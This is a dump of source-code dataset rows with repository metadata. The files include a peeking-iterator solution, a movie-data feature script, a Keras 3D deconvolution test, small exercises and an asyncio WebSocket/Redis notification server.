blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2 values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313 values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107 values | src_encoding stringclasses 20 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 4 6.02M | extension stringclasses 78 values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0a6a1c337560a7be7affe868a65af85fb574f072 | 15581a76b36eab6062e71d4e5641cdfaf768b697 | /LeetCode_30days_challenge/2021/February/Peeking Iterator.py | 1c47322e8ae397e80fa7c43ca73eea44f3a2c292 | [] | no_license | MarianDanaila/Competitive-Programming | dd61298cc02ca3556ebc3394e8d635b57f58b4d2 | 3c5a662e931a5aa1934fba74b249bce65a5d75e2 | refs/heads/master | 2023-05-25T20:03:18.468713 | 2023-05-16T21:45:08 | 2023-05-16T21:45:08 | 254,296,597 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,642 | py | # Below is the interface for Iterator, which is already defined for you.
#
# class Iterator:
# def __init__(self, nums):
# """
# Initializes an iterator object to the beginning of a list.
# :type nums: List[int]
# """
#
# def hasNext(self):
# """
# Returns true if the iteration has more elements.
# :rtype: bool
# """
#
# def next(self):
# """
# Returns the next element in the iteration.
# :rtype: int
# """
class PeekingIterator:
def __init__(self, iterator):
"""
Initialize your data structure here.
:type iterator: Iterator
"""
self.iterator = iterator
if self.iterator.hasNext():
self.buffer = self.iterator.next()
else:
self.buffer = None
def peek(self):
"""
Returns the next element in the iteration without advancing the iterator.
:rtype: int
"""
return self.buffer
def next(self):
"""
:rtype: int
"""
tmp = self.buffer
if self.iterator.hasNext():
self.buffer = self.iterator.next()
else:
self.buffer = None
return tmp
def hasNext(self):
"""
:rtype: bool
"""
return self.buffer is not None
# Your PeekingIterator object will be instantiated and called as such:
# iter = PeekingIterator(Iterator(nums))
# while iter.hasNext():
# val = iter.peek() # Get the next element but not advance the iterator.
# iter.next() # Should return the same value as [val].
| [
"mariandanaila01@gmail.com"
] | mariandanaila01@gmail.com |
bc74fafeb39a89942c02e53e1e406997948fc37a | d78e6d49aeb50b9a408ed0d423e96df3be7850e3 | /prototypes_v1/ui_v0/server/env/bin/flask | 2a0105ea5ea486926b7b370d5e8891df932ff422 | [] | no_license | jdunjords/birds-iview | 77e3fb0815d10fbf971c10b7b28c99a947ef628c | e8da36a46f49827eebf16b6acbb6b3967de41f4c | refs/heads/master | 2023-03-06T06:23:43.801460 | 2021-02-09T01:35:47 | 2021-02-09T01:35:47 | 295,505,143 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 265 | #!/Users/jordancolebank/Desktop/programming/capstone/server/env/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from flask.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"jordancolebank@Jordans-MacBook-Air-3.local"
] | jordancolebank@Jordans-MacBook-Air-3.local | |
432927ddc73c6e066d33be9506269fb5c92f748b | 14a4e6e0bf76c68e471794088a5e2a95d6ce4b5a | /test.py | 687e974121098855cd758ed1256dea7e645205ec | [] | no_license | yuzhengfa/test | e16c2479baf159d887a117481398513349bd8cb0 | 63dbe2534a346b86bd77e70c829a6e4ccb886128 | refs/heads/master | 2020-04-30T09:12:53.099485 | 2019-03-20T14:58:58 | 2019-03-20T14:58:58 | 176,740,165 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,333 | py |
# coding: utf-8
# In[17]:
import pandas as pd
import numpy as np
import re
# In[18]:
#对drector清洗：
def sub_name(str1):
first_name = []
a = str1.split(',')
for i in a:
i = re.sub('[ ]','',i)
if i[0].encode( 'UTF-8' ).isalpha():
first_name.append(i)
else:
b = re.sub('[ A-Za-z?-í-""]','',i)
first_name.append(b)
if len(first_name) == len(a):
str1 = str()
for i in first_name:
if len(str1) == 0:
str1 = str1 +i
else:
str1 = str1 + ',' + i
return str1
# In[19]:
def get_median(data):
data.sort()
half = len(data) // 2
return (data[half] + data[~half]) / 2
# In[44]:
list1 = []
if len(list1) == 0:
print("ok")
else:
print("No")
# In[48]:
#统计相关的属性
def statistics(attribute,train_data,test_data):
#增加关于score评分的特征
num = 0
count = 0
z_count = []
s_count = []
max_score = []#最高评分
min_score = []#最低评分
ave_score = []#平均评分
max_score_count = []#最大评分对应的票房
min_score_count = []#最低评分对应的票房
max_count = []
min_count = []
ave_count = []
num_move = []
# index_count = []
A = []
B = []
C = []
D = []
E = []
F = []
G = []
H = []
I = []
# J = []
for i in test_data[attribute][:]:
a = i.split(',')
# print(a)
for b in a:
for j in train_data.index:
if b in train_data[attribute][j].split(','):
z_count.append(train_data.score[j])#评分
s_count.append(train_data.account[j])
# s_count.append(train_data1.count[j])#票房
# index_count.append(j)
# num = num + train_data.account[j]
count = count+1
# print(z_count)
# print(s_count)
# print(count)
if len(z_count) == 0:
continue
else:
A.append(max(z_count))#最大评分
B.append(min(z_count))#最小评分
C.append(sum(z_count)/count)#平均评分
# C.append(np.median(z_count))
D.append(count)
E.append(s_count[z_count.index(max(z_count))])
F.append(s_count[z_count.index(min(z_count))])
G.append(max(s_count))#最大票房
H.append(min(s_count))#最小票房
I.append(sum(s_count)/count)#平均票房
s_count = []
z_count = []
count = 0
#评分情况
max_score.append(sum(A)/len(A))#这边不应该取最大值而应该取平均值，即导演的平均值(也可以尝试用最大这里选取平均)
min_score.append(sum(B)/len(B))
ave_score.append(sum(C)/len(C))
# ave_score.append(np.median(z_count))
num_move.append(sum(D)/len(D))
max_score_count.append(sum(E)/len(E))
min_score_count.append(sum(F)/len(F))
#票房情况
max_count.append(sum(G)/len(G))
min_count.append(sum(H)/len(H))
ave_count.append(sum(I)/len(I))
# num_move.append(max(D))
A = []
B = []
C = []
D = []
E = []
F = []
G = []
H = []
I = []
# print(max_count)
# print(min_count)
# print(ave_count)
# print(num_move)
# print(max_score)
# print(min_score)
# print(ave_score)
# print(max_score_count)
# print(min_score_count)
return num_move,max_score,min_score,ave_score
# In[25]:
# train_data = pd.read_csv('train_data.csv',encoding='gbk')
# test_data = pd.read_csv('test_data.csv',encoding='gbk')
# train_data = train_data.dropna(axis=0,how='any')
# drector_num = test_data.apply(lambda x:sub_name(x['drector']),axis=1)
# writer_num = test_data.apply(lambda x:sub_name(x['writer']),axis=1)
# actor_num = test_data.apply(lambda x:sub_name(x['actor']),axis=1)
# types_num = test_data.apply(lambda x:sub_name(x['types']),axis=1)
# flim_version = list(map(lambda x: len(test_data.times[x].split(' ')),range(len(test_data))))
# country_number = list(map(lambda x: len(test_data.country[x].split(' ')),range(len(test_data))))
# test_data['types_name'] = pd.DataFrame(types_num)
# test_data['drector_name'] = pd.DataFrame(drector_num)
# test_data['writer_name'] = pd.DataFrame(writer_num)
# test_data['actor_name'] = pd.DataFrame(actor_num)
# test_data['flim_version'] = pd.DataFrame(flim_version)
# test_data['country_number'] = pd.DataFrame(country_number)
# In[26]:
# test_data
# In[53]:
# test_data.writer_name
# In[28]:
# object_name = ['drector_name','writer_name','actor_name','types_name']
# for i in object_name:
# A,B,C,D= statistics(i,train_data,test_data)
# test_data[i[0]+'_num_move'] = pd.DataFrame(A)
# test_data[i[0]+'_max_score'] = pd.DataFrame(B)
# test_data[i[0]+'_min_score'] = pd.DataFrame(C)
# test_data[i[0]+'_ave_score'] = pd.DataFrame(D)
# In[52]:
# z_count = []
# s_count = []
# count = 0
# for i in test_data['writer_name'][:]:
# a = i.split(',')
# print(a)
# for b in a:
# for j in train_data.index:
# if b in train_data['writer_name'][j].split(','):
# z_count.append(train_data.score[j])#评分
# s_count.append(train_data.account[j])
# # s_count.append(train_data1.count[j])#票房
# # index_count.append(j)
# # num = num + train_data.account[j]
# count = count+1
# if len(z_count) == 0:
# continue
# else:
# print(max(z_count))
# # print(min(z_count))
# # print(s_count)
# print(count)
# In[49]:
def change_data():
train_data = pd.read_csv('train_data.csv',encoding='gbk')
test_data = pd.read_csv('test_data.csv',encoding='gbk')
train_data = train_data.dropna(axis=0,how='any')
drector_num = test_data.apply(lambda x:sub_name(x['drector']),axis=1)
writer_num = test_data.apply(lambda x:sub_name(x['writer']),axis=1)
actor_num = test_data.apply(lambda x:sub_name(x['actor']),axis=1)
types_num = test_data.apply(lambda x:sub_name(x['types']),axis=1)
flim_version = list(map(lambda x: len(test_data.times[x].split(' ')),range(len(test_data))))
country_number = list(map(lambda x: len(test_data.country[x].split(' ')),range(len(test_data))))
test_data['types_name'] = pd.DataFrame(types_num)
test_data['drector_name'] = pd.DataFrame(drector_num)
test_data['writer_name'] = pd.DataFrame(writer_num)
test_data['actor_name'] = pd.DataFrame(actor_num)
test_data['flim_version'] = pd.DataFrame(flim_version)
test_data['country_number'] = pd.DataFrame(country_number)
object_name = ['drector_name','writer_name','actor_name','types_name']
for i in object_name:
A,B,C,D= statistics(i,train_data,test_data)
test_data[i[0]+'_num_move'] = pd.DataFrame(A)
test_data[i[0]+'_max_score'] = pd.DataFrame(B)
test_data[i[0]+'_min_score'] = pd.DataFrame(C)
test_data[i[0]+'_ave_score'] = pd.DataFrame(D)
#取导演、演员、编剧的平均创作
temp1 = list(map(lambda x:(test_data['d_num_move'][x]+test_data['w_num_move'][x])/2,test_data.index))
temp2 = list(map(lambda x:(test_data['d_num_move'][x]+test_data['a_num_move'][x])/2,test_data.index))
temp3 = list(map(lambda x:(test_data['w_num_move'][x]+test_data['a_num_move'][x])/2,test_data.index))
temp4 = list(map(lambda x:(test_data['d_num_move'][x]+test_data['w_num_move'][x]+test_data['a_num_move'][x])/3,test_data.index))
#取导演、演员、编剧的平均得分
temp9 = list(map(lambda x:(test_data['d_ave_score'][x]+test_data['w_ave_score'][x])/2,test_data.index))
temp10 = list(map(lambda x:(test_data['d_ave_score'][x]+test_data['a_ave_score'][x])/2,test_data.index))
temp11 = list(map(lambda x:(test_data['w_ave_score'][x]+test_data['a_ave_score'][x])/2,test_data.index))
temp12 = list(map(lambda x:(test_data['d_ave_score'][x]+test_data['w_ave_score'][x]+test_data['a_ave_score'][x])/3,test_data.index))
test_data['ave_num_move1'] = pd.DataFrame(temp1,index=test_data.index)
test_data['ave_num_move2'] = pd.DataFrame(temp2,index=test_data.index)
test_data['ave_num_move3'] = pd.DataFrame(temp3,index=test_data.index)
test_data['ave_num_move4'] = pd.DataFrame(temp4,index=test_data.index)
test_data['ave_score1'] = pd.DataFrame(temp9,index=test_data.index)
test_data['ave_score2'] = pd.DataFrame(temp10,index=test_data.index)
test_data['ave_score3'] = pd.DataFrame(temp11,index=test_data.index)
test_data['ave_score4'] = pd.DataFrame(temp12,index=test_data.index)
test_types = list(test_data.types)
key_s = ['剧情', '动作', '犯罪', '冒险', '科幻', '惊悚', '奇幻', '悬疑', '喜剧', '战争', '动画', '传记', '历史', '西部', '爱情', '灾难', '武侠', '古装', '音乐', '运动', '家庭', '恐怖', '鬼怪', '歌舞', '情色', '儿童', '同性', '悬念', '黑色电影', 'Adult', 'Reality-TV']
_types = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]]
for i in range(0,len(list(test_types))):
temp = re.sub('[ ]','',test_types[i])
for j in range(len(_types)):
_types[j].append(list(np.where((key_s[j] in temp),[1],[0]))[0])
if i == len(list(test_types))-1:
test_data[key_s[j]] = pd.DataFrame(_types[j],index=test_data.index)
X_test = test_data.drop(['title','types','drector','writer','actor','times','country','score','types_name','drector_name','writer_name','actor_name','t_num_move'],axis=1)
return X_test
# In[50]:
test = change_data()
# In[51]:
test.to_csv('test1_data.csv',index=False,encoding='gbk')
# In[ ]:
# def get_median(data):
# data.sort()
# half = len(data) // 2
# return (data[half] + data[~half]) / 2
# In[ ]:
# data = [7.2,8.7,7.2]
# #
# np.median(data)
# In[ ]:
# change_data()
| [
"794191669@qq.com"
] | 794191669@qq.com |
12772ef7ee948e7a258e8f3156c4960d0078d2b9 | 37ca51c6c0b21b9b6efbc437bca34f433384ffee | /solution/bit_map/no_16_power.py | e7912d98fad93dc217ff4e334db2a44507a87e3a | [
"MIT"
] | permissive | LibertyDream/algorithm_data_structure | 2ea83444c55660538356901472654703c7142ab9 | 5d143d04d001a9b8aef30334881d0af56d8c9850 | refs/heads/master | 2020-05-18T00:52:59.457481 | 2019-12-31T09:21:46 | 2019-12-31T09:21:46 | 184,074,211 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,165 | py | '''面试题16：数值的整数次方
实现函数 double Power（double base，int exponent），求base的exponent次方。
不得使用库函数，同时不需要考虑大数问题
-------------
Example
input:2,3
output:8
---------------
功能、边界、负面测试，错误返回方式
'''
def power(base:float, exponent:int):
if not isinstance(exponent, int):
raise TypeError('exponent must be an integer')
if abs(base - 0.0) < 1e-9 and exponent < 0:
raise ValueError('base is 0, exponent cannot be negative')
if exponent >= 0:
return __unsinged_power(base, exponent)
else:
return 1.0 / __unsinged_power(base,abs(exponent))
def __unsinged_power(base, exponent):
if exponent == 0:
return 1
if exponent == 1:
return base
res = __unsinged_power(base, exponent >> 1)
res *= res
if (exponent & 0b1) == 1:
res *= base
return res
if __name__ == "__main__":
datas = [[2,3],[2,-1],[2,0],[-2,3],[-2,-2],[-2,0],[0,3],[0,0],[.5,2],[.5,0],[.5,-2]]
for data in datas:
print('power(%f,%d):%f'%(data[0],data[1],power(data[0],data[1])))
| [
"mfx660@163.com"
] | mfx660@163.com |
24eb3295d972efef909d1fed9ece99c0780b2a84 | 83bd3d644c8feb0b57ac44b681fee4650677c186 | /Commonstruct/TriangleSlice.py | c9fe4b5b4c43f7755f393bffcfb60bd5863f3c0d | [] | no_license | theForgerass/3DPointCloud | 389d2af938c1cdb0650811db0485afacfefd2c76 | e42fe100a82b87264ab26aebdd4168492ae79b93 | refs/heads/master | 2020-06-04T04:09:06.555579 | 2019-06-05T10:32:51 | 2019-06-12T10:57:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 687 | py | """
三角面片结构
"""
from Commonstruct import Point3D
from Commonstruct import Triangle
class TriangleSlice:
__slots__ = ('_facet', '_vertex')
def __init__(self, facet=Point3D(), vertex=Triangle()):
"""
三角面片初始化函数
:param facet: 法向量
:param vertex: 顶点(3个)
"""
self._facet = facet
self._vertex = vertex
@property
def facet(self):
return self._facet
@facet.setter
def facet(self, facet):
self._facet = facet
@property
def vertex(self):
return self._vertex
@vertex.setter
def vertex(self, vertex):
self._vertex = vertex
| [
"614490648@qq.com"
] | 614490648@qq.com |
d927834b35dd9386b9cabf1db95a7f7ea77141c8 | 55cc1c8ed04c2ce104985c851354d347741a0166 | /test_deconv3D.py | e7667c5678b8cb944a68d76c3afd7682ee432d5e | [] | no_license | anlthms/team-magpie-dsb-2017 | 3cb09eddf5d8c0757b91b32a9a76f309fe4591d6 | 97e9d222fb84691b67156df728dfda7399fc45a6 | refs/heads/master | 2021-07-13T18:06:45.110335 | 2017-04-11T16:29:54 | 2017-04-11T16:29:54 | 86,396,423 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,648 | py | from keras.models import Sequential, Model
from keras.layers import Input
from keras.layers.convolutional import Convolution3D
from keras.layers.normalization import BatchNormalization
from keras.callbacks import ModelCheckpoint, EarlyStopping
from new.deconv3D import Deconvolution3D
import numpy as np
import pylab as plt
filename = 'model'
_shape = (16,16)
# _shape = (128,128)
# _shape = (64,64)
# time_batch_sz = (None,)
time_batch_sz = (15,)
batch_sz = (10,)
x = Input(batch_shape=(batch_sz + time_batch_sz +_shape + (1,)))
conv1 = Convolution3D(nb_filter=5, kernel_dim1=3, kernel_dim2=3, kernel_dim3=3,
border_mode='same', subsample=(1, 2, 2))
conv2 = Convolution3D(nb_filter=10, kernel_dim1=3, kernel_dim2=3, kernel_dim3=3,
border_mode='same', subsample=(1, 2, 2))
out_shape_2 = (10, 15, 8, 8, 10)
dconv1 = Deconvolution3D(nb_filter=10, kernel_dim1=3, kernel_dim2=3, kernel_dim3=3, output_shape=out_shape_2,
border_mode='same', subsample=(1, 1, 1))
out_shape_1 = (10, 16, 17, 17, 5)
dconv2 = Deconvolution3D(nb_filter=5, kernel_dim1=3, kernel_dim2=3, kernel_dim3=3, output_shape=out_shape_1,
border_mode='same', subsample=(1, 1, 1))
decoder_squash = Convolution3D(1, 2, 2, 2, border_mode='valid', activation='sigmoid')
out = decoder_squash(dconv2(dconv1(conv2(conv1(x)))))
seq = Model(x,out)
seq.compile(loss='mse', optimizer='adadelta')
seq.summary(line_length=150)
# Artificial data generation:
# Generate movies with 3 to 7 moving squares inside.
# The squares are of shape 1x1 or 2x2 pixels,
# which move linearly over time.
# For convenience we first create movies with bigger width and height (_shape*2)
# and at the end we select a 40x40 window.
_shape = (16,16)
def generate_movies(n_samples=1200, n_frames=15):
row = _shape[0]*2
col = _shape[1]*2
noisy_movies = np.zeros((n_samples, n_frames, row, col, 1), dtype=np.float)
shifted_movies = np.zeros((n_samples, n_frames, row, col, 1),
dtype=np.float)
x_clip_st = _shape[0]-_shape[0]/2
x_clip_ed = _shape[0]+x_clip_st
y_clip_st = _shape[0]-_shape[0]/2
y_clip_ed = _shape[0]+y_clip_st
for i in range(n_samples):
# Add 3 to 7 moving squares
n = np.random.randint(3, 8)
for j in range(n):
# Initial position
xstart = np.random.randint(x_clip_st, x_clip_ed)
ystart = np.random.randint(y_clip_st, y_clip_ed)
# Direction of motion
directionx = np.random.randint(0, 3) - 1
directiony = np.random.randint(0, 3) - 1
# Size of the square
w = np.random.randint(2, 4)
for t in range(n_frames):
x_shift = xstart + directionx * t
y_shift = ystart + directiony * t
noisy_movies[i, t, x_shift - w: x_shift + w,
y_shift - w: y_shift + w, 0] += 1
# Make it more robust by adding noise.
# The idea is that if during inference,
# the value of the pixel is not exactly one,
# we need to train the network to be robust and still
# consider it as a pixel belonging to a square.
if np.random.randint(0, 2):
noise_f = (-1)**np.random.randint(0, 2)
noisy_movies[i, t,
x_shift - w - 1: x_shift + w + 1,
y_shift - w - 1: y_shift + w + 1,
0] += noise_f * 0.1
# Shift the ground truth by 1
x_shift = xstart + directionx * (t + 1)
y_shift = ystart + directiony * (t + 1)
shifted_movies[i, t, x_shift - w: x_shift + w,
y_shift - w: y_shift + w, 0] += 1
# Cut to a 40x40 window
noisy_movies = noisy_movies[::, ::, x_clip_st:x_clip_ed, y_clip_st:y_clip_ed, ::]
shifted_movies = shifted_movies[::, ::, x_clip_st:x_clip_ed, y_clip_st:y_clip_ed, ::]
noisy_movies[noisy_movies >= 1] = 1
shifted_movies[shifted_movies >= 1] = 1
return noisy_movies, shifted_movies
# Train the network
noisy_movies, shifted_movies = generate_movies(n_samples=1200)
checkpointer = []
checkpointer.append(EarlyStopping(monitor='val_loss', patience=5, verbose=1, mode='auto'))
print noisy_movies.shape
print shifted_movies.shape
seq.fit(noisy_movies[:1000], shifted_movies[:1000], batch_size=10,
nb_epoch=300, validation_split=0.05, callbacks=checkpointer)
seq.save_weights('{0}_final_wts.h5'.format(filename))
# Testing the network on one movie
# feed it with the first 7 positions and then
# predict the new positions
which = 1004
track = noisy_movies[which][:7, ::, ::, ::]
for j in range(16):
new_pos = seq.predict(track[np.newaxis, ::, ::, ::, ::])
new = new_pos[::, -1, ::, ::, ::]
track = np.concatenate((track, new), axis=0)
# And then compare the predictions
# to the ground truth
track2 = noisy_movies[which][::, ::, ::, ::]
for i in range(15):
fig = plt.figure(figsize=(10, 5))
ax = fig.add_subplot(121)
if i >= 7:
ax.text(1, 3, 'Predictions !', fontsize=20, color='w')
else:
ax.text(1, 3, 'Inital trajectory', fontsize=20)
toplot = track[i, ::, ::, 0]
plt.imshow(toplot)
ax = fig.add_subplot(122)
plt.text(1, 3, 'Ground truth', fontsize=20)
toplot = track2[i, ::, ::, 0]
if i >= 2:
toplot = shifted_movies[which][i - 1, ::, ::, 0]
plt.imshow(toplot)
plt.savefig('%i_animate.png' % (i + 1))
| [
"ronens1@Pronghorn.ent.core.medtronic.com"
] | ronens1@Pronghorn.ent.core.medtronic.com |
5a6cba04c45e10f428b0c7903415372b7a0ae2c4 | 85af8bcd480794a413e27c114b07bfae50447437 | /Python/PycharmProjects/aula 7/desafio 015.py | b734a05b4dd97dccb6dfef94c114d18952a788af | [
"MIT"
] | permissive | MarcelaSamili/Desafios-do-curso-de-Python | 83974aeb30cc45177635a6248af2f99b3fdbd3fa | f331e91821c0c25b3e32d2075254ef650292f280 | refs/heads/main | 2023-05-31T20:07:56.844357 | 2021-07-05T12:30:18 | 2021-07-05T12:30:18 | 375,374,975 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | # Escreva um programa que pergunte a quantidade de Km percorridos por um carro alugado e a quantidade de dias pelos quais ele foi alugado.
# Calcule o preço a pagar, sabendo que o carro custa R$60 por dia e R$0,15 por Km rodado.
km = float(input('Qualtos KM voce percorreu com o carro?KM'))
dias = int(input('Quantos dias voce alugou o carro?'))
preço = (60*dias) + (0.15*km)
print('O valor do aluguel ficou em R${}'.format(preço))
| [
"marcela.santos10.b@gmail.com"
] | marcela.santos10.b@gmail.com |
736a992d87d9f3a6e7f7e9766c0b786164df94b7 | dccd4b277e0538e90f0ab179fd4a60be1b8766ad | /app/local.py | 7bba6685957aa83940dd4715fb27cf4403a2a3d5 | [] | no_license | rafalstapinski/news-map | cb5b34e13fd6f88d7d044f6113ff257f369fdb6d | 8cc6cedaf5bb15ad5b62ae7ed518ee314b6d187d | refs/heads/master | 2021-05-15T16:43:31.958684 | 2017-11-20T22:20:40 | 2017-11-20T22:20:40 | 107,473,892 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 333 | py | import web
import routes as Route
import helpers as Help
Index = Route.Index
Location = Route.Location
Article = Route.Article
urls = (
'/', 'Index',
# '/locations', 'Location',
'/articles', 'Article'
)
Help.Config.set()
app = web.application(urls, globals())
if __name__ == "__main__":
app.run()
| [
"stapinskirafal@gmail.com"
] | stapinskirafal@gmail.com |
a50627fd3992ca3c5b4930f7a1ab9aff7f483375 | d08dc239a3eda6de61be9c128976bb6d199a6721 | /final_project/image_search/search_img/server.py | 6fd6f1183bcfe59602119754c5dd3cf19b96efdd | [] | no_license | NataKuskova/vagrant-final_project | 7ac87ec4623a4a30b9d225a58f83cf7b9f37407d | d3f624a99c3d1d65d0321f8e90070c847e7b8cd3 | refs/heads/master | 2021-01-11T00:52:58.463215 | 2016-10-10T07:09:19 | 2016-10-10T07:09:19 | 70,456,312 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,320 | py | from autobahn.asyncio.websocket import WebSocketServerProtocol, \
WebSocketServerFactory
import asyncio
import asyncio_redis
import logging
import json
FORMAT = u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s ' \
u'[%(asctime)s] %(message)s'
logging.basicConfig(format=FORMAT, level=logging.DEBUG) # filename=u'../logs.log'
class WebSocketFactory(WebSocketServerFactory):
"""
Class for asyncio-based WebSocket server factories.
"""
_search_engines = {'google': {},
'yandex': {},
'instagram': {}
}
sites = ['google',
'yandex',
'instagram'
]
def register_client(self, tag, id_connection, instance):
"""
Adds a client to a list.
Args:
tag: ...
id_connection: Address of the client.
instance: Instance of the class Server Protocol.
"""
# self._tags[tag].setdefault(id_connection, instance)
# self._tags.setdefault(tag, {id_connection: instance})
# if tag not in self._tags:
# self._tags[tag] = [{id_connection: instance}]
# else:
# tags = self._tags[tag]
# self._tags[tag] = []
# self._tags[tag] = tags
# self._tags[tag] += [{id_connection: instance}]
for site in self.sites:
self._search_engines[site].setdefault(tag, {
'address': {id_connection: instance}, 'counter': False})
for site in self.sites:
self._search_engines[site][tag][
'address'].setdefault(id_connection, instance)
# print(self._search_engines)
def get_tags(self, channel, tag):
"""
Receives the client instance.
Args:
id_connection: Address of the client.
Returns:
The client instance.
"""
return self._search_engines[channel][tag]
def unregister_client(self, id_connection):
"""
Removes the client from the list when a connection is closed.
Args:
id_connection: Address of the client.
"""
# print('before')
# print(self._search_engines)
for site in self.sites:
for tag in self._search_engines[site]:
# print(self._search_engines[site][tag]['address'])
if id_connection in self._search_engines[site][tag]['address']:
del self._search_engines[site][tag]['address'][id_connection]
# if not self._search_engines[site][tag]['address']:
# del self._search_engines[site][tag]
# print('in--------')
# print(self._search_engines)
# self._search_engines[site] = {k: v for k, v in
# self._search_engines[site].items() if v['counter']}
self._search_engines[site] = {k: v for k, v in
self._search_engines[site].items() if
v['address']}
# print('after')
# print(self._search_engines)
# for tag, client in self._tags.items():
# if id_connection in client:
# del(self._tags[tag][id_connection])
# self._tags = {k: v for k, v in self._tags.items() if not v}
logging.info('Connection {0} is closed.'.format(id_connection))
class ServerProtocol(WebSocketServerProtocol):
"""
Class for asyncio-based WebSocket server protocols.
"""
def onConnect(self, request):
"""
Callback fired during WebSocket opening handshake when a client
connects (to a server with request from client) or when server
connection established (by a client with response from server).
This method may run asynchronous code.
Adds a client to a list.
Args:
request: WebSocket connection request information.
"""
logging.info("Client connecting: {0}".format(request.peer))
# self.factory.register_client(request.peer, self)
# global tags
# tags = request.peer
def onOpen(self):
"""
Callback fired when the initial WebSocket opening handshake was
completed.
Sends a WebSocket message to the client with its address.
"""
logging.info("WebSocket connection open.")
# self.sendMessage(clients.encode('utf8'), False)
def onMessage(self, payload, isBinary):
"""
Callback fired when a complete WebSocket message was received.
Saved the client address.
Args:
payload: The WebSocket message received.
isBinary: `True` if payload is binary, else the payload
is UTF-8 encoded text.
"""
logging.info("Message received: {0}".format(payload.decode('utf8')))
# self.sendMessage(payload, isBinary)
# global clients
# clients = payload.decode('utf8')
self.factory.register_client(payload.decode('utf8'), self.peer, self)
def onClose(self, wasClean, code, reason):
"""
Callback fired when the WebSocket connection has been closed
(WebSocket closing handshake has been finished or the connection
was closed uncleanly).
Removes the client from the list.
Args:
wasClean: `True` if the WebSocket connection was closed cleanly.
code: Close status code as sent by the WebSocket peer.
reason: Close reason as sent by the WebSocket peer.
"""
factory.unregister_client(self.peer)
logging.info("WebSocket connection closed: {0}".format(reason))
@asyncio.coroutine
def run_subscriber():
"""
Asynchronous Redis client. Start a pubsub listener.
It receives signals from the spiders and sends a message to the client.
"""
# Create connection
connection = yield from asyncio_redis.Connection.create(
host='localhost', port=6379)
# Create subscriber.
subscriber = yield from connection.start_subscribe()
# Subscribe to channel.
yield from subscriber.subscribe(['google',
'yandex',
'instagram'
])
spiders = []
# Inside a while loop, wait for incoming events.
while True:
reply = yield from subscriber.next_published()
key_dict = factory.get_tags(reply.channel, reply.value)
key_dict['counter'] = True
if factory.get_tags('google', reply.value)['counter'] \
and factory.get_tags('yandex', reply.value)['counter'] \
and factory.get_tags('instagram', reply.value)['counter']:
for client in key_dict['address'].values():
client.sendMessage('ok'.encode('utf8'), False)
"""
if reply.channel == 'google':
tags['google'].append(reply.value)
# if reply.channel == 'instagram':
# tags['instagram'].append(reply.value)
# if reply.channel == 'yandex':
# tags['yandex'].append(reply.value)
for tag, clients in factory.get_tags().items():
if tag in tags['google']:
# and tag in tags['instagram']:
# and tag in tags['yandex']:
for client in clients:
for address in client:
client[address].sendMessage('ok'.encode('utf8'), False)
tags['google'].remove(tag)
# tags['instagram'].remove(tag)
# tags['yandex'].remove(tag)
"""
"""
spiders.append(json.loads(reply.value))
if spiders:
# if clients is not None:
for spider in spiders:
tags = factory.get_client(spider['tag'])
if 'google' in spider['site'] \
and 'instagram' in spider['site']:
# and 'yandex' in spider['site']:
# print(spiders[0]['tag'])
# for tag in spider['tag']:
# print('tag')
# print(tag)
for clients in tags:
for client in clients:
clients[client].sendMessage('ok'.encode('utf8'), False)
# spiders.clear()
"""
"""
try:
if 'google' in spiders:
# and 'yandex' in spiders \
# and 'instagram' in spiders:
factory.get_client(clients).sendMessage(
'ok'.encode('utf8'), False)
spiders.clear()
# elif 'google' in spiders:
# factory.get_client(client_id).sendMessage(
# 'google'.encode('utf8'), False)
# elif 'yandex' in spiders:
# factory.get_client(client_id).sendMessage(
# 'yandex'.encode('utf8'), False)
# elif 'instagram' in spiders:
# factory.get_client(client_id).sendMessage(
# 'instagram'.encode('utf8'), False)
except:
factory.get_client(clients).sendMessage(
'error'.encode('utf8'), False)
"""
logging.info('Received: ' + repr(reply.value) + ' on channel ' +
reply.channel)
# When finished, close the connection.
connection.close()
if __name__ == '__main__':
try:
import asyncio
except ImportError:
import trollius as asyncio
factory = WebSocketFactory(u"ws://127.0.0.1:9000")
factory.protocol = ServerProtocol
loop = asyncio.get_event_loop()
coro = loop.create_server(factory, '0.0.0.0', 9000)
web_socket_server = loop.run_until_complete(coro)
subscriber_server = loop.run_until_complete(run_subscriber())
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
web_socket_server.close()
subscriber_server.close()
loop.close()
| [
"natasga.kuskova@gmail.com"
] | natasga.kuskova@gmail.com |
d7ce23f53fe0a65a72e04d05fb3d4fc24bc04900 | 973e19eb630d38dc1c9aaf5662199257afc38786 | /usaspending_api/references/models/toptier_agency.py | bb9f3109a7f02e7fea17ec1cfeb604dfe382929c | [
"CC0-1.0"
